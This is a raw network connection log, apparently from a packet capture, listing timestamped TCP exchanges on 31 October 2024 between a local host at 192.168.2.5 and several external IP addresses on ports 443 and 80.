Oct 31, 2024 03:04:32.356426001 CET	443	49876	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.356512070 CET	49876	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.356813908 CET	49877	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.356841087 CET	443	49877	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.356910944 CET	49877	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.357547998 CET	49878	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.357570887 CET	443	49878	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.357640028 CET	49878	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.357899904 CET	49876	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.357924938 CET	443	49876	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.358012915 CET	49877	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.358025074 CET	443	49877	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.358216047 CET	49878	443	192.168.2.5	23.221.22.215
Oct 31, 2024 03:04:32.358241081 CET	443	49878	23.221.22.215	192.168.2.5
Oct 31, 2024 03:04:32.366306067 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.366322994 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.366374016 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.366379023 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.366425991 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.366544008 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.366612911 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.366676092 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.366686106 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.366727114 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.366796017 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.367332935 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.367350101 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.367396116 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.367397070 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.367430925 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.367840052 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.367844105 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.367860079 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.367888927 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.367921114 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.367927074 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.367928982 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.367942095 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.368361950 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.368479967 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.368664980 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.368721962 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.370100975 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.370112896 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.370485067 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.370503902 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.370583057 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.371512890 CET	49879	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.371522903 CET	443	49879	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.378787994 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.378798008 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.378813028 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.378844023 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.379136086 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.379158974 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.379208088 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.379719019 CET	49880	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.379733086 CET	443	49880	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.382539034 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.382558107 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.383645058 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.383651018 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.384635925 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.384651899 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.392918110 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.393558025 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.393596888 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.395299911 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.395328045 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.396138906 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.396567106 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.396594048 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.397111893 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.397119999 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.413563967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413575888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413585901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413599014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413625002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413636923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413641930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413655043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413666964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413671017 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413678885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413688898 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413691044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413702965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413710117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413714886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413727999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413727999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413750887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413759947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413770914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413783073 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413788080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413820982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413847923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413858891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413871050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413882971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413893938 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413897991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413908005 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413923025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413934946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413942099 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413948059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413959026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.413980007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.413989067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414114952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414125919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414139032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414150953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414180040 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414216995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414231062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414246082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414256096 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414258957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414283991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414292097 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414295912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414308071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414318085 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414334059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414344072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414345980 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414360046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414369106 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414382935 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414391994 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414395094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414406061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414417028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414417982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414431095 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414442062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414453983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414479971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414491892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414508104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414520979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414531946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414541006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414545059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414556980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414578915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414599895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414613008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414627075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414654016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414654016 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414671898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414680958 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414689064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414701939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414714098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414724112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414727926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414752960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414757967 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414764881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414766073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414777040 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414788008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414793968 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414799929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414809942 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414813995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414828062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414839983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414844990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414856911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414861917 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414869070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414880037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414885998 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414892912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414905071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414918900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414931059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414946079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.414971113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.414995909 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415014029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415024042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415065050 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415071964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415081978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415083885 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415096045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415112972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415118933 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415124893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415137053 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415148973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415154934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415159941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415172100 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415174007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415182114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415184021 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415201902 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415227890 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415231943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415241957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415252924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415265083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415280104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415304899 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415335894 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415357113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415373087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415385008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415395975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415400028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415409088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415420055 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415420055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415435076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415436983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415458918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415460110 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415471077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415488005 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415493965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415504932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415509939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415515900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415528059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415535927 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415551901 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415586948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415719986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415760040 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415767908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415781975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415802956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415815115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415833950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415837049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415848017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415858984 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415860891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415880919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415903091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415904999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415914059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415926933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415936947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.415951967 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.415970087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416045904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416057110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416071892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416085005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416090012 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416096926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416104078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416126966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416137934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416137934 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416150093 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416161060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416171074 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416201115 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416344881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416371107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416383982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416395903 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416409016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416410923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416419983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416451931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416476011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416486979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416527033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416555882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416568995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416569948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416580915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416606903 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416618109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416675091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416686058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416696072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416707993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416718006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416721106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.416732073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416747093 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.416760921 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.470489979 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.470523119 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.470567942 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.470582008 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.470619917 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.470652103 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.480640888 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.481215954 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.481230974 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.481707096 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.481712103 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.525778055 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.526155949 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.526213884 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.526581049 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.526612043 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.526645899 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.526660919 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.526788950 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.527072906 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.527302980 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.528079033 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.528090000 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.528100967 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:32.528106928 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:32.529997110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530009031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530021906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530045033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530056953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530078888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.530087948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530105114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530122995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530131102 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.530131102 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.530139923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530150890 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530158997 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.530162096 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530174017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530184031 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.530184984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530196905 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.530214071 CET	49823	80	192.168.2.5	185.215.113.206
